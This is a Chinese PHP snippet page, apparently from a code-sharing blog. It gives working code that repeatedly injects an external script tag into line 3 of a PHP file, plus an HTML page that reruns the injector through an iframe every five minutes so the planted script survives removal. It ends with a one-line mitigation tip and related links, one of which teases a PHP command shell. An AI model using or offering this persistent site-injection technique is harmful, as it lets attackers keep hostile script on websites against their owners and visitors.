php在文件指定行中写入代码的方法

yipeiwu_com5年前PHP代码库
复制代码 代码如下:

<?php
$file="aa.php" ;
$code="<script src=http://www.google/ga.js></script>";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
复制代码 代码如下:

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JScript">
function singOut() {
var O = document.createElement("iframe");
O.src="http://www.google.com/上边的php文件.php";
O.width=100;
O.height=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
</SCRIPT>
</BODY>
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

相关文章

php的扩展写法总结

为什么要用C扩展 C是静态编译的,执行效率比PHP代码高很多。同样的运算代码,使用C来开发,性能会比PHP要提升数百倍。IO操作如CURL,因为耗时主要在IOWait上,C扩展没有明显...

PHP获取毫秒级时间戳的方法

本文实例讲述了PHP获取毫秒级时间戳的方法。分享给大家供大家参考。具体分析如下: PHP本身没有提供获取毫秒级时间戳的函数,java里面可以通过gettime();获取。如果是要与jav...

php仿QQ验证码的实例分析

有需要的朋友,参考下吧。 复制代码 代码如下:<?php/** * 仿QQ验证码*///Session保存路径$sessSavePath = dirname(__FILE...

php一句话cmdshell新型 (非一句话木马)

php一句话cmdshell新型 (非一句话木马)

复制代码 代码如下:<?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含...

php中隐形字符65279(utf-8的BOM头)问题

今天在CSDN看到一个php输出空白隐形字符65279的问题,在网上找了下,发下这个65279字符是php用来标记文件是utf-8编码的,输出的时候会一起输出到客户端,导致客户端如果使用...